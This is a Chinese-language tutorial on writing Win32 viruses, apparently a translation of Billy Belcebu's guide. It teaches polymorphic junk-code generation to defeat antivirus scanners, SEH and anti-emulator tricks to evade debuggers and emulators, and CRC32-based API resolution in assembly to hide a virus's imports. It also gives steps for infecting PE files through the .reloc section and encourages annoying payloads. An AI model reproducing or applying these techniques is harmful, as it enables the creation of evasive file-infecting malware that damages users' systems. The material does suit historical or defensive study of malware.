%垃圾的产生%
~~~~~~~~~~~~
在质量中,垃圾的质量90%决定了你的多态引擎的质量。是的,我说的是“质量”而非你所想的“数量”。首先,我将列出你在编写一个多态引擎时的两个选择:
- 产生现实代码,以合法的应用代码面目出现。例如,GriYo的引擎。
- 产生尽可能多的代码,以一个破坏的文件面目出现。例如,Mental Driller的 MeDriPoLen(看看 Squatter)。
Ok,让我们开始吧:
?两个的共同点:
- 用很多不同方式调用(调用中嵌调用再嵌调用...)
- 无条件的跳转
?现实主义:
一些现实的东西是那些看起来真实的东西,虽然它并不是。对于这个我打算解释如下:如果你看到大量的没有CALL和JUMP的代码你会怎么想?如果在一个CMP后面没有一个条件跳转你会怎么想?它几乎是不可能的,正如你,我和反病毒者知道的。所以我们必须有能力产生所有这些类型的垃圾结构:
- CMP/条件跳转
- TEST/条件跳转
- 如果对EAX处理,总是使用优化的指令
- 使用内存访问
- 产生 PUSH/垃圾/POP 结构
- 产生非常少的只要一个字节的代码(如果有)
?精神摧毁...恩...象破坏代码:
这个当解密程序充满了无意义的操作码看起来不像代码的时候发生,也就是说不符合以前列出来的规则的代码,而且使用协处理器的不做任何事情的指令,当然了,使用的操作码越多越好。
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
现在,我将试图解释代码产生的所有要点。首先,让我们以和它们相关的所有东西开始,CALL和无条件跳转。
?首先一点,CALL,它非常简单。你可以做成调用子例程,通过许多方式:
|Figure 1 -------| |Figure 2 -------| |Figure 3 -------|
| call @@1 | | jmp @@2 | | push @@2 |
| ... | | ... | | ... |
| jmp @@2 | |@@1: | |@@1: |
| ... | | ... | | ... |
|@@1: | | ret | | ret |
| ... | | ... | | ... |
| ret | |@@2: | |@@2: |
| ... | | ... | | ... |
|@@2: | | call @@1 | | call @@1 |
|________________| |________________| |________________|
当然你可以把所有的都混合起来,而且结果是,你有许多方式在一个解密程序内部编写一个子例程。而且,毫无疑问,你可以反过来(你将会听到我对它提更多的次数),而且可能在另外的CALL里有CALL,所有这些又在另外一个CALL里,然后另外一个...真的非常头疼。
此外,存储这些子例程的偏移并在产生的代码的任何地方调用它将是一个很好的选择。
?关于非条件跳转,它非常简单,因为我们不必要关心在jump之后知道jump的范围的指令,我们可以插入完全随机的操作码,比如垃圾...
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
现在,我打算代码中的现实主义。GriYo可以被称为这种类型的引擎的最伟大的代表;如果你看到了他的Marburg引擎, 或者他的HPS引擎,你将会意识到那个,虽然它的简易,他试图使得代码看起来尽可能真实,而且这个使得反病毒者在获得一个可靠的对付它的算法之前都快疯了。OK,让我们以一些基本要点开始:
?关于 ';CMP/条件 jump'; 结构,它相当清晰,因为你不放一个条件跳转,将从不会使用一个比较...OK,但是要编不是0跳转的jump,也就是说,在条件跳转和它应该跳转(或者不跳转)的偏移之间产生一些可执行的垃圾,而且在分析者的眼中,这些代码将更少地被怀疑。
?和TEST一样,但是使用JZ或者JNZ,因为正如你知道地,TEST仅仅会对zero flag有影响。
?最有可能制造失败的是AL/AX/EAX寄存器,因为它们有它们自己的优化代码。你将得到下面的指令的例子:
ADD, OR, ADC, SBB, AND, SUB, XOR, CMP 和 TEST (和寄存器很紧密).
?关于内存访问,一个好的选择是至少要获得被感染的PE文件的512字节数据,把它们放到病毒的某处,然后访问它们,读或协。试着使用除了简单的指数,双精度数,而如果你的大脑能接受它,试着使用双指数相乘,例如[ebp+esi*4]。并不是你想的那么困难,相信我。你还可以做一些内存移动,用MOVS指示,还可以使用STOS, LODS, CMPS...所有的字符串操作也可以使用。这就靠你了。
?PUSH/垃圾/POP结构非常有用,因为它的加到引擎中的简单,还因为好的效果,因为它在一个合法程序中是一个非常普通的结构。
?一个字节的指令的数量,如果太多了,会暴露我们的存在给反病毒者,或者给那些有着好奇的眼睛的家伙。考虑普通程序不是很正常使用它们,所以最好作一个检测来避免过多的使用它们,但是仍然每25字节使用一两个(我认为这是一个不错的比率)。
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
下面是一些精神摧毁型的东西:)
?你可以使用,例如,下面两个字节的协处理器指令是没有任何类型问题的垃圾:
f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp,
fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi,
fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan,
frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp,
ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.
只要在病毒的开始放这两个指令来重置协处理器:
fwait
fninit
Mental Driller现在正偏向于现实主义了(据我所知)由他的最近的令人印象深刻的引擎(TUAREG),所以...
% 指令建立 %
~~~~~~~~~~~~~~
这大概是和多态相关的最重要的事情了:关系在相同指令和不同寄存器之间存在,或者在两个相同家族的指令之间存在。如果我们把指变成二进制的话它们之间的关系就非常清晰了。但是,因此,一些有用的信息:
寄存器二进制形式 | 000 001 010 011 100 101 110 111
| -------------------------------
Byte 寄存器 | AL CL DL BL AH CH DH BH
Word 寄存器 | AX CX DX BX SP BP SI DI
扩展寄存器 | EAX ECX EDX EBX ESP EBP ESI EDI
段 | ES CS SS DS FS GS -- --
MMX 寄存器 | MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7
我认为在写我的《Virus Writing Guides for MS-DOS》时候,所犯的大错误是在我的解释OpCodes 结构部分,和所有那些东西。这里我想要描述的是许多"你自己做",就像我在写一个多态引擎时那样。只以一个XOR操作码为例...
xor edx,12345678h -> 81 F2 78563412
xor esi,12345678h -> 81 F6 78563412
你看到了不同了吗?我习惯利用一个调试器,然后写我想要用一些寄存器构造代码,看看有什么改变。OK,正如你能看到的(嗨!你没瞎吧?),改变的字节是第二个。现在是有趣的部分了:把值变成二进制形式。
F2 -> 11 110 010
F6 -> 11 110 110
OK,你看到了什么改变了吗?最后3个bit,对吗?好了,现在到我把寄存器以二进制表示的部分:)正如你已经发现的,这3个bit根据寄存器的改变而改变了。所以...
010 -> EDX 寄存器
110 -> ESI 寄存器
只要试着把那3个比特赋其它的二进制值,你将会发现寄存器是怎么改变的。但是要小心...不要使用用这个操作码EAX值(000),因为,所有的算术指令,都对EAX优化了,因此要彻底地改变操作码。
所以,调试所有你想要的构造,看看它们之间的关系,并建立产生任何东西的可靠的代码。它非常简单!
% Recursivity %
~~~~~~~~~~~~~~~~~
它在你的多态引擎中是一个非常重要的一点。recursivity必须有一个限度,但是依赖于那个限度,代码可以非常难理解(如果那个限度很高)。让我们想象一些有一个所有垃圾代码构造器的偏移表:
PolyTable:
dd offset (GenerateMOV)
dd offset (GenerateCALL)
dd offset (GeneratteJMP)
[...]
EndPolyTable:
并想象一下你有在它们之中选择的如下例程:
GenGarbage:
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
ret
现在想象一下你的';GenerateCALL';指令从内部调用';GenGarbage';例程。呵呵';GenGarbage';可以再次调用';GenerateCALL';,并再次,然后再次(取决于RNG),所以你将有CALL在CALL中在CALL中...我已经在那件事情之前提了一个限度仅仅是为了避免速度问题,但是它可以用这些新的
';GenGarbage';例程来解决:
GenGarbage:
inc byte ptr [ebp+recursion_level]
cmp byte ptr [ebp+recursion_level],05 ; <- 5 is the recursion
jae GarbageExit ; level here!
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
GarbageExit:
dec byte ptr [ebp+recursion_level]
ret
所以,我们的引擎将能产生巨大数量的充满这种CALL的垃圾代码;)当然了,这个还可以在PUSH和POP间利用:)
%最后的话%
~~~~~~~~~~
多态性决定了编码,所以我不更多的讨论了。你应该自己做一个而不是复制代码。只要不是对经典引擎用一种类型的简单加密操作,和非常基础的垃圾如MOV,等等。使用你可以想到的所有主意。例如,有许多类型的CALL可做:3种风格(正如我以前描述的),此外,你可以建立堆栈结构,PUSHAD/POPAD,通过PUSH(然后是一个 RET x)来传送参数,还有更多的。要有想象力!
【高级Win32 技术】
~~~~~~~~~~~~~~~~~~
在这一章,我将讨论一些那些不需要一整章来讨论的技术,但是,不是很容易忘记的:)所以,下面我将讨论这些东西:
- Structured Exception Handler(SEH)
- MultiThreading(多线程)
- CRC32 (IT/ET)
- AntiEmulators(反模拟)
- Overwriting .reloc section(写.reloc节)
% Structured Exception Handler %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
结构化异常处理(Structured Exception Handler),简称SEH,是所有Win32环境的一个非常酷的特点。它所做的非常容易理解:如果一个一般保护错误(简称GPF)发生了,控制会自动传到当前存在的SEH handler。你看到了它的辅助作用了吗?如果你把所有东西弄乱了,你将能够(仍然能)保持你的病毒没法被发现:)指向SEH handler的指针是在FS:[0000]中的。所以,你可以很容易地设置你自己的新SEH handler(但是要记住保存旧的!)如果一个错误发生了,控制将会传给你的SEH handler例程,但是堆栈将会混乱。幸运的是,Micro$oft已经在设置我们的SEH handler之前把堆栈放到ESP+8的地方了:)所以,简单的我们只要恢复它并把旧的SEH handler设置回去就可以了:)让我们看看一个SEH使用的一个简单例子:
;--------从这里开始剪切-------------------------------------------------------
.386p
.model flat ; Good good... 32 bit r0x0r
extrn MessageBoxA:PROC ; Defined APIs
extrn ExitProcess:PROC
.data
szTitle db "Structured Exception Handler [SEH]",0
szMessage db "Intercepted General Protection Fault!",0
.code
start:
push offset exception_handler ; Push our exception handler
; offset
push dword ptr fs:[0000h] ;
mov dword ptr fs:[0000h],esp
errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
pop dword ptr fs:[0000h] ; Restore old SEH handler
push 1010h ; Parameters for MessageBoxA
push offset szTitle
push offset szMessage
push 00h
call MessageBoxA ; Show message :]
push 00h
call ExitProcess ; Exit Application
setupSEH:
xor eax,eax ; Generate an exception
div eax
end start
;--------到这里为止剪切-------------------------------------------------------
正如在"Win32反调试"那一章所看到的,除此之外SEH还有另外一个特色:)它愚弄了大多数应用级的调试器。为了使你的设置一个新的SEH handler更简单,这里你可以用一些宏来做做这个(hi,Jacky!):
; Put SEH - Sets a new SEH handler
pseh macro what2do
local @@over_seh_handler
call @@over_seh_handler
mov esp,[esp+08h]
what2do
@@over_seh_handler:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
endm
; Restore SEH - Restore old SEH handler
rseh macro
xor edx,edx
pop dword ptr fs:[edx]
pop edx
endm
它的用法非常简单。例如:
pseh
div edx
push 00h
call ExitProcess
SEH_handler:
rseh
[...]
下面的代码,如果执行了,将会在';rseh';宏之后继续,而不是终止进程。清楚了吗?:)
%多线程%
~~~~~~~~
当我被告知这个可以在Win32环境很容易实现的时候,在我的脑海中的是许多它的用处:执行代码而其它的代码(也是我们病毒的)也在执行是一个美梦,因为你节约了时间:)
一个多任务的过程的主要算法是:
1.创建你想要运行的相关线程的代码
2.在父进程的代码中等待子进程结束
这个看起来很难,但是有两个API可以救我们。它们的名字:CreateThread 和 WaitForSingleObject。让我们看看Win32 API列表关于这两个API是怎么说的...
----------------------------------------
CreateThread函数在调用进程的地址空间中创建一个线程执行。
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // ptr to thread security attrs
DWORD dwStackSize, // initial thread stack size, in bytes
LPTHREAD_START_ROUTINE lpStartAddress, // pointer to thread function
LPVOID lpParameter, // argument for new thread
DWORD dwCreationFlags, // creation flags
LPDWORD lpThreadId // pointer to returned thread identifier
);
参数
====
?lpThreadAttributes:指向一个确定返回句柄可以由子进程继承的SECURITY_ATTRIBUTES结构。如果lpThreadAttributes是NULL,这个句柄不 能被继承。
Windows NT: 这个结构的lpSecurityDescriptor成员指定新线程的安全描述。如果lpThreadAttributes是NULL,这个线程获得一个缺省安全 描述。
Windows 95: 这个结构的lpSecurityDescriptor成员被忽略了。
?dwStackSize: 以字节数指定新线程的堆栈大小。如果指定了0,堆栈的大小缺省的和进程的主线程的堆栈大小一样。堆栈是在进程的内存空 间中自动开辟的,并在线程终止的时候释放。注意如果需要的话,堆栈大小会增加。CreateThread试图把由dwStackSize指定 的大小提交字节数,如果大小超过了可利用的内存的话,就会失败。
?lpStartAddress:新线程的开始地址。这个通常是一个用WINAPI调用惯例声明的函数,这个函数接受一个32-bit的指针的参数,并返回一个32-bit的退出码。它的原型是:
DWORD WINAPI ThreadFunc( LPVOID );
?lpParameter: 指定一个传给线程的32-bit的参数。
?dwCreationFlags:指定控制线程创建的额外标志。如果CREATE_SUSPENDED标志被指定了,线程将以一个挂起状态创建,除非ResumeThread函数调用,将不会运行。如果这个值是0,线程在创建之后立即运行。这次,没有其它的支持的值。
?lpThreadId: 指向一个接受线程标志的32bit变量。
返回值
======
?如果函数成功了,返回值是一个新线程的句柄。
?如果函数失败了,返回值是NULL。为了获得详细的错误信息,调用GetLastError。
Windows 95: CreateThread仅仅是在一个32-bit的上下文中的时候才成功。一个32-bit DLL不能创建一个额外的线程,当那个DLL正在被一个16-bit程序调用的时候。
----------------------------------------
WaitForSingleObject函数当如下的情况发生的时候返回:
?指定的对象在signaled状态。
?过期间隔逝去了。
DWORD WaitForSingleObject(
HANDLE hHandle, // handle of object to wait for
DWORD dwMilliseconds // time-out interval in milliseconds
);
参数
====
?hHandle:识别对象。对一个对象类型的列表,它的句柄可以指定,看看接下来的评论。
Windows NT:句柄必须有SYNCHRONIZE访问。想知道更多的信息,看看Access Masks and Access Rights(访问标志和访问权限)。
?dwMilliseconds: 指定过期间隔,以毫秒形式。如果间隔过了,甚至对象的状态是nonsignaled,这个函数就返回。如果dwMilliseconds是0,这个函数就测试对象的状态并立即返回。如果dwMilliseconds是INFINITE这个函数从不会过期。
返回值
======
?如果函数成功了,返回值表明了导致函数返回的事件。
?如果函数失败了,返回值是WAIT_FAILED。为了获得详细的错误信息,调用GetLastError。
----------------------------------------
如果这个对你来说还不够,或者你不懂试图解释给你听的子句的话,下面给出一个多线程的ASM例子。
;-------从这里开始剪切------------------------------------------------------
.586p
.model flat
extrn CreateThread:PROC
extrn WaitForSingleObject:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
tit1 db "Parent Process",0
msg1 db "Spread your wings and fly away...",0
tit2 db "Child Process",0
msg2 db "Billy';s awesome bullshit!",0
lpParameter dd 00000000h
lpThreadId dd 00000000h
.code
multitask:
push offset lpThreadId ; lpThreadId
push 00h ; dwCreationFlags
push offset lpParameter ; lpParameter
push offset child_process ; lpStartAddress
push 00h ; dwStackSize
push 00h ; lpThreadAttributes
call CreateThread
; EAX = Thread handle
push 00h ; ';Parent Process'; blah blah
push offset tit1
push offset msg1
push 00h
call MessageBoxA
push 0FFh ; Wait infinite seconds
push eax ; Handle to wait (thread)
call WaitForSingleObject
push 00h ; Exit program
call ExitProcess
child_process:
push 00h ; ';Child Process'; blah blah
push offset tit2
push offset msg2
push 00h
call MessageBoxA
ret
end multitask
;-------到这里为止剪切------------------------------------------------------
如果你测试上述代码,你将会发现,如果你单击了在子进程中的';Accept';按钮,那么你将不得不去单击在父进程中的';Accept';按钮。是不是很有意思呀?如果父进程死了,所有相关的线程和它一起死了,但是不过子进程死了,父进程还仍然存活者。
所以看到你可以通过父进程和子进程通过WaitForSingleObject控制两个进程相当有趣。想象一下可能性:在目录里搜索一个特定文件(如MIRC.INI)同时你在产生一个多态解密程序,并解包余下的东西...哇! ;)
看看Benny的关于Threads 和 Fibers (29A#4)的教程。
% CRC32 (IT/ET) %
~~~~~~~~~~~~~~~~~~~
好了,我们都知道(我希望是这样)怎么编写一个API搜索引擎...它相当简单,而且你有许多教程选择(JHB的, Lord Julus的,和这篇教程...),只要得到一个,并学习它。但是,正如你意识到的,API地址占(让我们说浪费)了你的病毒的许多字节。如果你想要编写一个小病毒,该怎么解决这个问题呢?
解决方法:CRC32
我相信GriYo是第一个使用这个技术的人,在它的令人印象深刻的 Win32.Parvo病毒中(源代码还没有公布)。它不是搜索一个确定数量和我们代码中API名字相符的字节,而是获得所有的API名,一个接一个,并得到它们的CRC32值,把它和我们搜索的API的CRC32值。如果它是等价的,那么我们必须总是要处理。Ok,ok...首先,你需要一些获取CRC32值的代码:)让我们用Zhengxi的代码,首先由Vecna重新组合了,最终由我重新组合了(优化了一些字节) ;)
;------从这里开始剪切--------------------------------------------------------
;
; CRC32 procedure
; ===============
;
; input:
; ESI = Offset where code to calculate begins
; EDI = Size of that code
; output:
; EAX = CRC32 ofgiven code
;
CRC32 proc
cld
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; 1 byte less
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
;------到这里为止剪切--------------------------------------------------------
我们现在知道怎么获得一个指定的字符串或代码的CRC32值了,但是在这里你在期望另外一件事情...呵呵呵,耶!你在等待API搜索引擎的代码 :)
;------从这里开始剪切--------------------------------------------------------
;
; GetAPI_ET_CRC32 procedure
; =========================
; 呵,很难的名字?这个函数在KERNEL32的输出表中搜索一个API名字(改变一点点将会
; 使它对任何DLL有用),但是仅仅需要API的CRC32值,不是全字符串:)还需要一个就像
; 我在上面给出的获取CRC32的例程。
;
; input:
; EAX = CRC32 of the API ASCIIz name
; output:
; EAX = API address
;
GetAPI_ET_CRC32 proc
xor edx,edx
xchg eax,edx ; Put CRC32 of da api in EDX
mov word ptr [ebp+Counter],ax ; Reset counter
mov esi,3Ch
add esi,[ebp+kernel] ; Get PE header of KERNEL32
lodsw
add eax,[ebp+kernel] ; Normalize
mov esi,[eax+78h] ; Get a pointer to its
add esi,1Ch ; Export Table
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA] ; Pointer to the address table
lodsd ; Get AddressTable value
add eax,[ebp+kernel] ; Normalize
stosd ; And store in its variable
lodsd ; Get NameTable value
add eax,[ebp+kernel] ; Normalize
push eax ; Put it in stack
stosd ; Store in its variable
lodsd ; Get OrdinalTable value
add eax,[ebp+kernel] ; Normalize
stosd ; Store
pop esi ; ESI = NameTable VA
@?_3: push esi ; Save again
lodsd ; Get pointer to an API name
add eax,[ebp+kernel] ; Normalize
xchg edi,eax ; Store ptr in EDI
mov ebx,edi ; And in EBX
push edi ; Save EDI
xor al,al ; Reach the null character
scasb ; that marks us the end of
jnz $-1 ; the api name
pop esi ; ESI = Pointer to API Name
sub edi,ebx ; EDI = API Name size
push edx ; Save API';s CRC32
call CRC32 ; Get actual api';s CRC32
pop edx ; Restore API';s CRC32
cmp edx,eax ; Are them equal?
jz @?_4 ; if yes, we got it
pop esi ; Restore ptr to api name
add esi,4 ; Get the next
inc word ptr [ebp+Counter] ; And increase the counter
jmp @?_3 ; Get another api!
@?_4:
pop esi ; Remove shit from stack
movzx eax,word ptr [ebp+Counter] ; AX = Counter
shl eax,1 ; *2 (it';s an array of words)
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
lodsw ; Get ordinal in AX
shl eax,2 ; And with it we go to the
add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
xchg esi,eax ; dwords)
lodsd ; Get Address of API RVA
add eax,[ebp+kernel] ; and normalize!! That';s it!
ret
GetAPI_ET_CRC32 endp
AddressTableVA dd 00000000h ;\
NameTableVA dd 00000000h ; > IN THIS ORDER!!
OrdinalTableVA dd 00000000h ;/
kernel dd 0BFF70000h ; Adapt it to your needs ;)
Counter dw 0000h
;------到这里为止剪切--------------------------------------------------------
下面是等价的代码,但是现在为了操作Import Table,因此使得你能够仅仅用这些API的CRC32就可以编一个Per-Process驻留病毒;)
;------从这里开始剪切--------------------------------------------------------
;
; GetAPI_IT_CRC32 procedure
; =========================
;
; 这个函数将在Import Table中搜索和传给例程的CRC32值相符的API。这个对编写一个
; Per-Process驻留病毒有用(看看这篇教程的"Per-Process residence"一章)。
;
; input:
; EAX = CRC32 of the API ASCIIz name
; output:
; EAX = API address
; EBX = Pointer to the API address in the Import Table
; CF = Set if routine failed
;
GetAPI_IT_CRC32 proc
mov dword ptr [ebp+TempGA_IT1],eax ; Save API CRC32 for later
mov esi,dword ptr [ebp+imagebase] ; ESI = imagebase
add esi,3Ch ; Get ptr to PE header
lodsw ; AX = That pointer
cwde ; Clear MSW of EAX
add eax,dword ptr [ebp+imagebase] ; Normalize pointer
xchg esi,eax ; ESI = Such pointer
lodsd ; Get DWORD
cmp eax,"EP" ; Is there the PE mark?
jnz nopes ; Fail... duh!
add esi,7Ch ; ESI = PE header+80h
lodsd ; Look for .idata
push eax
lodsd ; Get size
mov ecx,eax
pop esi
add esi,dword ptr [ebp+imagebase] ; Normalize
SearchK32:
push esi ; Save ESI in stack
mov esi,[esi+0Ch] ; ESI = Ptr to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to ';KERNEL32.dll';
mov ecx,K32_Size ; Size of string
cld ; Clear direction flag
push ecx ; Save ECX
rep cmpsb ; Compare bytes
pop ecx ; Restore ECX
pop esi ; Restore ESI
jz gotcha ; Was it equal? d#amn...
add esi,14h ; Get another field
jmp SearchK32 ; And search again
gotcha:
cmp byte ptr [esi],00h ; Is OriginalFirstThunk 0?
jz nopes ; d#amn if so...
mov edx,[esi+10h] ; Get FirstThunk
add edx,dword ptr [ebp+imagebase] ; Normalize
lodsd ; Get it
or eax,eax ; Is it 0?
jz nopes ; d#amn...
xchg edx,eax ; Get pointer to it
add edx,[ebp+imagebase]
xor ebx,ebx
loopy:
cmp dword ptr [edx+00h],00h ; Last RVA?
jz nopes ; d#amn...
cmp byte ptr [edx+03h],80h ; Ordinal?
jz reloop ; d#amn...
mov edi,[edx] ; Get pointer of an imported
add edi,dword ptr [ebp+imagebase] ; API
inc edi
inc edi
mov esi,edi ; ESI = EDI
pushad ; Save all regs
eosz_edi ; Get end of string in EDI
sub edi,esi ; EDI = API size
call CRC32
mov [esp+18h],eax ; Result in ECX after POPAD
popad
cmp dword ptr [ebp+TempGA_IT1],ecx ; Is the CRC32 of this API
jz wegotit ; equal as the one we want?
reloop:
inc ebx ; If not, loop and search for
add edx,4 ; another API in the IT
loop loopy
wegotit:
shl ebx,2 ; Multiply per 4
add ebx,eax ; Add FirstThunk
mov eax,[ebx] ; EAX = API address
test al,00h ; Overlap: avoid STC :)
org $-1
nopes:
stc
ret
GetAPI_IT_CRC32 endp
TempGA_IT1 dd 00000000h
imagebase dd 00400000h
K32_DLL db "KERNEL32.dll",0
K32_Size equ $-offset K32_DLL
;------到这里为止剪切--------------------------------------------------------
Happy?耶,它令人震惊而且它很简单!而且,毫无疑问,如果你的病毒没有加密,你可以避免使用者的怀疑,因为没有明显的API名字:)好了,我将列出一些API的CRC32值(包括API结束的NULL字符),但是,如果你想要使用其它的API而不是我将要列在这里的API,我将再放一个小程序,能给你一个ASCII字符串的CRC32值。
一些API的CRC32:
API name CRC32 API name CRC32
-------- ----- -------- -----
CreateFileA 08C892DDFh CloseHandle 068624A9Dh
FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h
FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch
GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh
MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h
GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h
ExitProcess 040F57181h SetFilePointer 085859D42h
SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh
GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh
GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh
LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h
CreateThread 019F33607h WaitForSingleObject 0D4540229h
ExitThread 0058F9201h GetTickCount 0613FD7BAh
FreeLibrary 0AFDF191Fh WriteFile 021777793h
GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah
GetFileSize 0EF7D811Bh ReadFile 054D8615Ah
GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h
SetPriorityClass 0C38969C7h FindWindowA 085AB3323h
PostMessageA 086678A04h MessageBoxA 0D8556CF7h
RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h
MoveFileA 02308923Fh CopyFileA 05BD05DB1h
GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh
CreateProcessA 0267E0B05h _lopen 0F2F886E3h
MoveFileExA 03BE43958h CopyFileExA 0953F2B64h
OpenFile 068D8FC46h
你还想要其它的API吗?
你有可能需要知道其它API名字的CRC32值,所以这里我将给出小而有效的用来帮助我自己的程序,我希望对你也有帮助。
;------从这里开始剪切--------------------------------------------------------
.586
.model flat
.data
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
extrn GetCommandLineA:PROC
titulo db "GetCRC32 by Billy Belcebu/iKX",0
message db "SetEndOfFile" ; Put here the string you
; want to know its CRC32
_ db 0
db "CRC32 is "
crc32_ db "00000000",0
.code
test:
mov edi,_-message
lea esi,message ; Load pointer to API name
call CRC32 ; Get its CRC32
lea edi,crc32_ ; Transform hex to text
call HexWrite32
mov _," " ; make 0 to be an space
push 00000000h ; Display message box with
push offset titulo ; the API name and its CRC32
push offset message
push 00000000h
call MessageBoxA
push 00000000h
call ExitProcess
HexWrite8 proc ; This code has been taken
mov ah,al ; from the 1st generation
and al,0Fh ; host of Bizatch
shr ah,4
or ax,3030h
xchg al,ah
cmp ah,39h
ja @@4
@@1:
cmp al,39h
ja @@3
@@2:
stosw
ret
@@3:
sub al,30h
add al,';A'; - 10
jmp @@2
@@4:
sub ah,30h
add ah,';A'; - 10
jmp @@1
HexWrite8 endp
HexWrite16 proc
push ax
xchg al,ah
call HexWrite8
pop ax
call HexWrite8
ret
HexWrite16 endp
HexWrite32 proc
push eax
shr eax, 16
call HexWrite16
pop eax
call HexWrite16
ret
HexWrite32 endp
CRC32 proc
cld
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; 1 byte less
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
end test
;------到这里为止剪切--------------------------------------------------------
Cool,哈? :)
%反模拟(AntiEmulators)%
~~~~~~~~~~~~~~~~~~~~~~~
正如在这篇文档的许多地方,这个小章节是由Super和我合作的。这里将会有一些东西的列表,肯定会愚弄反病毒模拟系统的,一些小的调试器也不例外。Enjoy!
- 用SEH产生错误。例子:
pseh
dec byte ptr [edx] ; <-- or another exception, such as ';div edx';
[...] <-- if we are here, we are being emulated!
virus_code:
rseh
[...] <-- the virus code :)
- 使用 CS 段前缀。 例子:
jmp cs:[shit]
call cs:[shit]
- 使用 RETF。例子:
push cs
call shit
retf
- 玩玩 DS. 例子:
push ds
pop eax
或者甚至更好:
push ds
pop ax
或者更好:
mov eax,ds
push eax
pop ds
- 用 PUSH CS/POP REG 招检测 NODiCE 模拟 :
mov ebx,esp
push cs
pop eax
cmp esp,ebx
jne nod_ice_detected
- 使用无正式文档的操作码:
salc ; db 0D6h
bpice ; db 0F1h
- 使用 Threads and/or Fibers.
我希望所有这些东西将对你有用 :)
% 写.reloc 节 %
~~~~~~~~~~~~~~~~~~~
这是一个非常有意思的东西。如果PE文件的ImageBase因为某种原因改变了,但是不是总会发生的(99.9%),';.reloc';就非常有用了,但不是必须的。而且';.reloc';节通常非常巨大,所以为什么不使用它来存储我们的病毒呢?我建议你读读b0z0在Xine#3上的教程,叫做"Ideas and theoryes on PE infection",因为它提供给我们许多有意思的信息。好了,如果你想知道该怎样写.reloc节的话,只要按照如下:
+ 在节头中:
1. 把病毒的大小+它的堆赋给新的VirtualSize
2. 把对齐后的VirtualSize赋给新的SizeOfRawData
3. 清除 PointerToRelocations 和 NumberOfRelocations
4. 改变 .reloc 名字为另外一个
+ 在PE头中:
1. 清除 offset A0h (RVA to fixup table)
2. 清除 offset A4h (Size of such table)
病毒的入口将会是节的VirtualAddress。它还有时候,隐蔽的(stealthy),因为有时候大小不增长(在不是很大的病毒中),因为relocs通常非常巨大。
【附录1:发作】
因为我们是在一个图形化的操作系统下工作的,我们的的发作可以更加令人印象深刻。毫无疑问,我不愿更多的象CIH和Kriz病毒那样的发作。只要看看Marburg,HPS,Sexy2,Hatred,PoshKiller,Harrier,和许多其它的病毒。它们真正令人震惊。当然了,还要看看有着多个发作的病毒,如Girigat和Thorin.
只要想想,除非你给用户显示你的发作,用户是不会注意病毒的存在的。所以,你将要给出的情形是你工作的结晶。如果你的发作太垃圾了,你的病毒看起来也会很垃圾:)
有许多事情可做:你可以改掉墙纸,你可以改掉字符串(就象我的Legacy),你可以给他显示主页,你可以在Ring-0下做些幽雅的东西(就象Sexy2和PoshKiller),等等。只要对一些Win32 API研究一下。试着把发作编得越恼人越好:)
